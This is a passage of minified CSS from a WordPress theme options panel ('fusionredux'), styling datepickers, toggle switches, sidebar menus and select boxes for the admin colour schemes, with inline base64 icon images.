abQiIyMjIyPjhlFDTLxpwIgFMnTp6A3g4IDKNY+stkwAMAoIAbasxBXqUWneSAWTMjt50lTqT29rFjvXohjsDNm2YPXDFlICmrJOZ3t6tHm8AiEAl0sCeLIIorIRt+cFbew/QRsoAXb4o1XSfoywzm0FTMAoYBNvLyFu8v8HpLBtD1iKgC17wHb7AI6d9wFbvguAIGTHd4E9wG7jgIyMjIyM+434c2R3HeV/Ffx6jtZu6ijl8h59T655jhR+rdHzDOP6beABCheb8O8/WFXeOyzgf5oAhVYnKxP7CwaAf1afJu8bSrhS6tdaXeGnrRenOqOlz9d6QwYnA/3TLd+GE7qe3chA5YF5DfY0vK3adfOX/gyNp2BW25MHdxAB9qvRiiP3/XpQQFGYDU4+Mi///XumXG8pjvaUAOsBGlf4jJt+YYEzeEzAdw06F19R3juM7D1wita86GR0CKfDHgLuXCc4Bri6vMLdfjMc4VNSUNsdodo2xu/1+Xl/K5+az8jIyMhYG/z5gJTMF1GtKq/a3rpyCvz5gJTMl9GtKq/a3rpyCmfQ4WwZmS+kXFVetb115ST48wEf/AGcfG1iw+tWbpbS2vJ3nQxcVr3lH3z5h972FUTLzYpOVk7l5hD+eYcYwDcAnewOotrZ4OtrPDucqi/LRX0/RR4qx7Nn4U8g+qjffvuN6Gf+nC85vwauHjaYyubqvWYKY4VEfSUMitdnBCT1Ue63R5439m+OgCn6DroAAaHPVQxKth/wkJgHmG8bmQMsT0D6EjDfvhVRKO3ywOQUgRA7nmL1uawZmHf1k+DPBwQ6NdcJ+k6Md1LA5f5ONdhJ8vZ5J0vLHT99srkGOjmJbd/G1r2Nriqnse1AZt1AalU5jW2HsuuG0qvKGRkZGRkZGRG0gcONyXsP9v8D0/IdJADiBNiXl3327WRGgOL/9HC/0XwlIURkRhC4tz6Z/fu7fUf2gHvfB9z3u0BGRkZGRkbGplHcnkgguQoSqtUXuhbs/wPtMwqV0HUJAvj5vk32b8IDuL23yn7qAXZ5u32hbRX7d3o82Df1FZXvbh9QOfhyxldr/+3xgXU9oKmvsHyr7F/XA269/eveBXrsv7N9QALe/tvjA0kPWAXGbvebkbHn+D/J5nMcHzx1UAAAAABJRU5ErkJggg==) !important}.admin-color-fresh .ui-datepicker-header,.wp-customizer .ui-datepicker-header{background-color:#23282d !important;color:#fff !important}.admin-color-fresh .ui-datepicker td .ui-state-active,.wp-customizer .ui-datepicker td .ui-state-active{background-color:#007db9 !important;color:#fff !important}.admin-color-fresh .ui-datepicker td .ui-state-hover,.wp-customizer .ui-datepicker td .ui-state-hover{color:#007db9 !important}.admin-color-fresh .ui-datepicker td .ui-state-highlight,.wp-customizer .ui-datepicker td .ui-state-highlight{background:#0073aa !important;border:1px solid #23282d !important;color:#fff !important}.admin-color-fresh .fusionredux-container-switch .cb-disable,.admin-color-fresh .fusionredux-container-switch .cb-enable,.admin-color-fresh .ui-state-default,.admin-color-fresh .ui-widget-content .ui-state-default,.admin-color-fresh .ui-widget-header .ui-state-default,.wp-customizer .fusionredux-container-switch .cb-disable,.wp-customizer .fusionredux-container-switch .cb-enable,.wp-customizer .ui-state-default,.wp-customizer .ui-widget-content .ui-state-default,.wp-customizer .ui-widget-header .ui-state-default{background-color:#f5f5f5 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#f8f8f8), to(#f5f5f5)) !important;background-image:-moz-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-ms-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #f8f8f8), color-stop(100%, #f5f5f5)) !important;background-image:-webkit-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-o-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-linear-gradient(top, #f8f8f8, #f5f5f5) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#f8f8f8", endColorstr="#f5f5f5", GradientType=0) !important;border-color:#ccc !important}.admin-color-fresh .ui-datepicker td .ui-state-active,.wp-customizer .ui-datepicker td .ui-state-active{color:#000 !important;font-weight:700 !important;background:#fff !important}.admin-color-fresh .fusionredux-container-switch .cb-disable.selected,.wp-customizer .fusionredux-container-switch .cb-disable.selected{background-color:#646464 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#929292), to(#646464)) !important;background-image:-moz-linear-gradient(top, #929292, #646464) !important;background-image:-ms-linear-gradient(top, #929292, #646464) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #929292), color-stop(100%, #646464)) !important;background-image:-webkit-linear-gradient(top, #929292, #646464) !important;background-image:-o-linear-gradient(top, #929292, #646464) !important;background-image:-linear-gradient(top, #929292, #646464) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#929292", endColorstr="#646464", GradientType=0) !important;border-color:#767676 !important}.admin-color-fresh .fusionredux-container-switch .cb-enable.selected,.admin-color-fresh .fusionredux-field-container .ui-buttonset .ui-state-active,.wp-customizer .fusionredux-container-switch .cb-enable.selected,.wp-customizer .fusionredux-field-container .ui-buttonset .ui-state-active{background-color:#0073aa !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#008bce), to(#0073aa)) !important;background-image:-moz-linear-gradient(top, #008bce, #0073aa) !important;background-image:-ms-linear-gradient(top, #008bce, #0073aa) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #008bce), color-stop(100%, #0073aa)) !important;background-image:-webkit-linear-gradient(top, #008bce, #0073aa) !important;background-image:-o-linear-gradient(top, #008bce, #0073aa) !important;background-image:-linear-gradient(top, #008bce, #0073aa) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#008bce", endColorstr="#0073aa", GradientType=0) !important;border-color:#003f5e !important;border-color:#005177 !important;-webkit-box-shadow:inset 0 1px 0 #00a7f7,0 1px 0 rgba(0,0,0,.15) !important;box-shadow:inset 0 1px 0 #00a7f7,0 1px 0 rgba(0,0,0,.15) !important}.admin-color-fresh #fusionredux-header,.wp-customizer #fusionredux-header{background:#23282d;border-color:#0073aa}.admin-color-fresh #fusionredux-header .display_header span,.wp-customizer #fusionredux-header .display_header span{color:#a0a5aa}.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a{position:relative}.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a:after,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a:after{right:0;border:solid 8px transparent;content:" ";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a:after,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a:after{border:0 none !important;content:" " !important}.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections .fusionredux-menu-error,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections .fusionredux-menu-error{display:none;margin-right:5px}.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections a.hasError .extraIconSubsections,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections a.hasError .extraIconSubsections{background-color:#b94a48;color:#f2dede}.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections a .extraIconSubsections,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections a .extraIconSubsections{border-radius:10px;-moz-border-radius:10px;-webkit-border-radius:10px;border:0 solid transparent;float:right;font-size:9px;height:9px;line-height:9px;margin-right:5px;padding:6px 7px 4px 7px;width:5px}.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.active a .extraIconSubsections,.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.activeChild a .extraIconSubsections,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.active a .extraIconSubsections,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.activeChild a .extraIconSubsections{display:none}.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections .fusionredux-menu-error,.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections .fusionredux-menu-error,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections .fusionredux-menu-error,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections .fusionredux-menu-error{display:block}.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections .subsection .fusionredux-menu-error,.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections .subsection .fusionredux-menu-error,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections .subsection .fusionredux-menu-error,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections .subsection .fusionredux-menu-error{margin-right:2px}.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.active,.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.activeChild,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.active,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.activeChild{border-left:0 none}.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.active a,.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.activeChild a,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.active a,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.activeChild a{color:#23282d}.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections .active a:after,.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections .active a:after,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections .active a:after,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections .active a:after{right:0;border:solid 8px transparent;content:" ";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a,.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections a,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections a{-webkit-transition:all .2s;-moz-transition:all .2s;transition:all .2s;color:#fff;width:auto;border-bottom:0}.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li,.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li{border-top:0 none !important}.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li.active a:hover,.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.active a:hover,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li.active a:hover,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.active a:hover{color:#fff}.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a,.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a{width:auto;border-top:0 !important;padding:7px;color:#fff;padding-left:15px;-webkit-transition:all .2;-moz-transition:all .2;-ms-transition:all .2;-o-transition:all .2;transition:all .2}.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a:hover,.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a:hover,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a:hover,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a:hover{color:#1e8cbe;background:#0d0f10}.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a span.group_title,.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a span.group_title,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a span.group_title,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a span.group_title{padding-left:5px !important}.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a,.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a{padding-left:14px}.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a span.group_title,.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a span.group_title,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a span.group_title,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a span.group_title{padding-left:30px !important}.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a{background:#0073aa}.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a{background:#23282d}.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections a,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections a{background:#a0a5aa;text-shadow:1px 1px #54595d}.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a{background:#23282d;text-shadow:none}.admin-color-fresh .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.active a,.wp-customizer .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.active a{background:#0073aa;text-shadow:1px 1px #002e44}.admin-color-fresh .fusionredux-container-image_select .fusionredux-image-select-selected img,.wp-customizer .fusionredux-container-image_select .fusionredux-image-select-selected img{border-color:#0073aa;border-width:3px;max-width:100%;max-height:100%;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.admin-color-fresh #fusionredux-footer #fusionredux-share a,.wp-customizer #fusionredux-footer #fusionredux-share a{color:#0073aa}.admin-color-fresh #fusionredux-footer #fusionredux-share a:hover,.wp-customizer #fusionredux-footer #fusionredux-share a:hover{color:#002e44}.admin-color-fresh .select3-results .select3-highlighted,.wp-customizer .select3-results .select3-highlighted{background:#0073aa}.admin-color-fresh .select3-drop-active,.admin-color-fresh .select3-container-multi.select3-container-active .select3-choices,.admin-color-fresh .select3-drop.select3-drop-above.select3-drop-active,.admin-color-fresh .select3-container-active .select3-choice,.admin-color-fresh .select3-container-active .select3-choices,.admin-color-fresh .select3-dropdown-open.select3-drop-above .select3-choice,.admin-color-fresh .select3-dropdown-open.select3-drop-above .select3-choices,.wp-customizer .select3-drop-active,.wp-customizer .select3-container-multi.select3-container-active .select3-choices,.wp-customizer .select3-drop.select3-drop-above.select3-drop-active,.wp-customizer .select3-container-active .select3-choice,.wp-customizer .select3-container-active .select3-choices,.wp-customizer .select3-dropdown-open.select3-drop-above .select3-choice,.wp-customizer .select3-dropdown-open.select3-drop-above .select3-choices{border-color:#0073aa}.admin-color-fresh .select3-dropdown-open.select3-drop-above .select3-choice,.admin-color-fresh .select3-dropdown-open.select3-drop-above .select3-choices,.wp-customizer .select3-dropdown-open.select3-drop-above .select3-choice,.wp-customizer .select3-dropdown-open.select3-drop-above .select3-choices{border-top:inherit}.admin-color-fresh .noUi-connect,.wp-customizer .noUi-connect{background-color:#007db9 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#0096dd), to(#007db9)) !important;background-image:-moz-linear-gradient(top, #0096dd, #007db9) !important;background-image:-ms-linear-gradient(top, #0096dd, #007db9) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #0096dd), color-stop(100%, #007db9)) !important;background-image:-webkit-linear-gradient(top, #0096dd, #007db9) !important;background-image:-o-linear-gradient(top, #0096dd, #007db9) !important;background-image:-linear-gradient(top, #0096dd, #007db9) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#0096dd", endColorstr="#007db9", GradientType=0) !important}.admin-color-light .button.ui-datepicker-current,.admin-color-light button.ui-datepicker-close{background-color:#04b0db !important}.admin-color-light .ui-datepicker-buttonpane button.ui-datepicker-current{background:#0384a4 !important;color:#fff !important;border:1px solid #013340 !important}.admin-color-light .ui-datepicker-header .ui-icon{background-image:url(data:image/png;base64,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) !important}.admin-color-light .ui-datepicker-header{background-color:#888 !important;color:#fff !important}.admin-color-light .ui-datepicker td .ui-state-active{background-color:#04b0db !important;color:#fff !important}.admin-color-light .ui-datepicker td .ui-state-hover{color:#04b0db !important}.admin-color-light .ui-datepicker td .ui-state-highlight{background:#04a4cc !important;border:1px solid #888 !important;color:#fff !important}.admin-color-light .fusionredux-container-switch .cb-disable,.admin-color-light .fusionredux-container-switch .cb-enable,.admin-color-light .ui-state-default,.admin-color-light .ui-widget-content .ui-state-default,.admin-color-light .ui-widget-header .ui-state-default{background-color:#f5f5f5 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#f8f8f8), to(#f5f5f5)) !important;background-image:-moz-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-ms-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #f8f8f8), color-stop(100%, #f5f5f5)) !important;background-image:-webkit-linear-gradient(top, #f8f8f8, #f5f5f5) 